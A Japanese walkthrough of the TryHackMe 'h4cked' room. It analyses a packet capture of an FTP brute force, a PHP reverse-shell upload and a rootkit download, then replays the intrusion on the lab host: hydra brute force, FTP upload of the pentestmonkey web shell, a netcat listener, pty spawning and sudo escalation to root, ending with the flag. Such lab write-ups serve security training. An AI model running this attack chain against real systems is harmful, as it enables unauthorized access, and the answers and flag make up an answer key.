【TryHackMe】h4cked：Walkthrough

# 概要

TryHackMe「h4cked」のWalkthroughです。

https://tryhackme.com/r/room/h4cked

# Task1

## **Q2**.*The attacker is trying to log into a specific service. What service is this?*

**Hint**.*Port 21*

最初にFTPへのログインを試みています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/059b5bed-e801-ca0e-fdb7-0dd39a15e581.png)

**A**.**FTP**

## **Q3**.*There is a very popular tool by Van Hauser which can be used to brute force a series of services. What is the name of this tool?*

**Hint**.*https\://github.com/vanhauser-thc*

`Hydra`を使用してブルートフォース攻撃ができます。

https://github.com/vanhauser-thc/thc-hydra

**A**.**Hydra**

## **Q4**.*The attacker is trying to log on with a specific username. What is the username?*

**Hint**.*Look at the FTP Request*

FTPのリクエストを確認するとユーザー名に`jenny`を使用してパスワードをブルートフォース攻撃しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/49a80bcd-5cbf-1f92-3ef2-f3fb65f3374c.png)

**A**.**Jenny**

## **Q5**.*What is the user's password?*

**Hint**.*The password is displayed in the FTP request*

FTPのログイン成功しているパケットを探します。
ログインが成功した場合`230`レスポンスコードが返ってくるので、そのTCPストリームを確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/268ff2c1-8e9d-52cc-c652-15ee559af553.png)

**A**.**password123**

## **Q6**.*What is the current FTP working directory after the attacker logged in?*

**Hint**.*Web root*

攻撃者がログイン後、`PWD`コマンドでカレントディレクトリを確認しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/75e7d8fc-274c-deb6-923d-7de50c12eefa.png)

**A**.**/var/www/html**

## **Q7**.*The attacker uploaded a backdoor. What is the backdoor's filename?*

**Hint**.*It has a .php extension*

`STOR`コマンドで`shell.php`をアップロードしています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8b93ce2b-ef3d-6987-0078-01a2fd838d7b.png)

**A**.**shell.php**

## **Q8**.*The backdoor can be downloaded from a specific URL, as it is located inside the uploaded file. What is the full URL?*

**Hint**.*Look at the FTP-DATA protocol*

`ftp-data`でフィルタリングし、FTPに設置されたリバースシェルファイルの中身を見ます。
pentestmonkeyのPHPリバースシェルファイルをアップロードしたようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0955d4c0-84dc-efdc-5db8-b4dba73b4ee3.png)

**A**.**http\://pentestmonkey.net/tools/php-reverse-shell**

## **Q9**.*Which command did the attacker manually execute after getting a reverse shell?*

**Hint**.*You can right click on the relevant packet and select "Follow" > "TCP Stream"*

攻撃者はFTPにファイルをアップロード後、HTTPで`/shell.php`にアクセスしリバースシェルを張っています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/09acd021-4cf3-4b46-e541-6be932081c4a.png)

その後のパケットのTCP Streamを追うことでコマンドの実行履歴が見れます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8342d5e2-fb99-8b39-33a3-f910ba8cd5b6.png)

**A**.**whoami**

## **Q10**.*What is the computer's hostname?*

**Hint**.*You can right click on the relevant packet and select "Follow" > "TCP Stream"*

ターミナルの表示からホスト名を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b4f12a9a-9a25-46c6-ea50-685f0a0199a9.png)

**A**.**wir3**

## **Q11**.*Which command did the attacker execute to spawn a new TTY shell?*

**Hint**.*https\://netsec.ws/?p=337*

pythonを使用してttyを設定しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5ffe73e1-92a1-d567-7b1f-a805a0118003.png)

**A**.**python3 -c 'import pty; pty.spawn("/bin/bash")'**

## **Q12**.*Which command was executed to gain a root shell?*

**Hint**.*It is sudo-related*

`sudo -l`を確認後、全てコマンドが許可されているので`sudo su`でrootに昇格しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5d65c932-8598-733b-34df-350337387cb4.png)

**A**.**sudo su**

## **Q13**.*The attacker downloaded something from GitHub. What is the name of the GitHub project?*

**Hint**.*The GitHub URL is located in the packet stream*

`Reptile`というルートキットをダウンロードしています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d36ca8e0-910b-e05e-7ffd-40455737e67c.png)

https://github.com/f0rb1dd3n/Reptile

**A**.**Reptile**

## **Q14**.*The project can be used to install a stealthy backdoor on the system. It can be very hard to detect. What is this type of backdoor called?*

**Hint**.*A certain type of kit*

**A**.**Rootkit**

# Task2

## **Q2**.*Run Hydra (or any similar tool) on the FTP service. The attacker might not have chosen a complex password. You might get lucky if you use a common word list.*

**Hint**.*The word list might rock your socks off...*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A 10.10.215.208 -oN nmap_result
PORT      STATE    SERVICE        VERSION
1/tcp     filtered tcpmux
21/tcp    open     ftp            vsftpd 2.0.8 or later
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 2.0.8 or later|
|80|http|Apache httpd 2.4.29|

FTPが稼働しているので、既に判明している`jenny`アカウントのパスワードを探します。

```
$ hydra -f -l jenny -P /usr/share/wordlists/rockyou.txt 10.10.215.208 ftp

[21][ftp] host: 10.10.215.208   login: jenny   password: 987654321
```

`jenny`アカウントでFTPにログイン出来ました。

```
$ ftp 10.10.215.208
Connected to 10.10.215.208.
220 Hello FTP World!
Name (10.10.215.208:kali): jenny
331 Please specify the password.
Password: 
230 Login successful.
```

## **Q3**.*Change the necessary values inside the web shell and upload it to the webserver*

**Hint**.*You can also find a series of web shells inside the /usr/share/webshells/php directory. This includes the same web shell as the attacker used. Remember to change the $ip variable to your own IP address and chmod the file if necessary*

PHPのリバーシェルファイルをFTPにアップロードします。

```
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||51758|)
150 Ok to send data.
100% |****************************************************************|  5493       61.62 MiB/s    00:00 ETA
226 Transfer complete.
5493 bytes sent in 00:00 (10.95 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||7081|)
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000        10918 Feb 01  2021 index.html
-rw-------    1 1000     1000         5493 Dec 20 20:06 php-reverse-shell.php
-rwxrwxrwx    1 1000     1000         5493 Feb 01  2021 shell.php
226 Directory send OK.
```

アップロードしたリバースシェルファイルに権限を付与します。

```
ftp> site chmod 777 php-reverse-shell.php
200 SITE CHMOD command ok.
ftp> ls
229 Entering Extended Passive Mode (|||24619|)
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000        10918 Feb 01  2021 index.html
-rwxrwxrwx    1 1000     1000         5493 Dec 20 20:06 php-reverse-shell.php
-rwxrwxrwx    1 1000     1000         5493 Feb 01  2021 shell.php
```

## **Q4**.*Create a listener on the designated port on your attacker machine. Execute the web shell by visiting the .php file on the targeted web server.*

**Hint**.*You can use, for example, netcat to create a listener on the designated port*

Netcatでリッスンし、`80`番ポートの`php-reverse-shell.php`へアクセスするとリバースシェルを張れました。

```
$ nc -lvnp 1234                                                      
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.215.208] 52934
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 20:11:29 up 16 min,  0 users,  load average: 0.00, 0.16, 0.40
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

## **Q5**.*Become root!*

**Hint**.*Sudo-related command. There are tons to choose from!*

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`jenny`のFTPパスワードを流用できるか試したところ`jenny`アカウントへ昇格出来ました。

```
$ su jenny
su jenny
Password: 987654321

jenny@wir3:/$ whoami
whoami
jenny
```

`sudo -l`で確認するとすべて許可されています。

```
$ sudo -l
sudo -l
[sudo] password for jenny: 987654321

Matching Defaults entries for jenny on wir3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jenny may run the following commands on wir3:
    (ALL : ALL) ALL
```

`sudo su`でrootに昇格出来ました。

```
$ sudo su
sudo su
root@wir3:/home/jenny# whoami
whoami
root
```

## **Q6**.*Read the flag.txt file inside the Reptile directory*

`/root/Reptile/flag.txt`からルートフラグを入手できました。

```/root/Reptile/flag.txt
ebcefd66ca4b559d17b440b6e67fd0fd
```

**A**.**ebcefd66ca4b559d17b440b6e67fd0fd**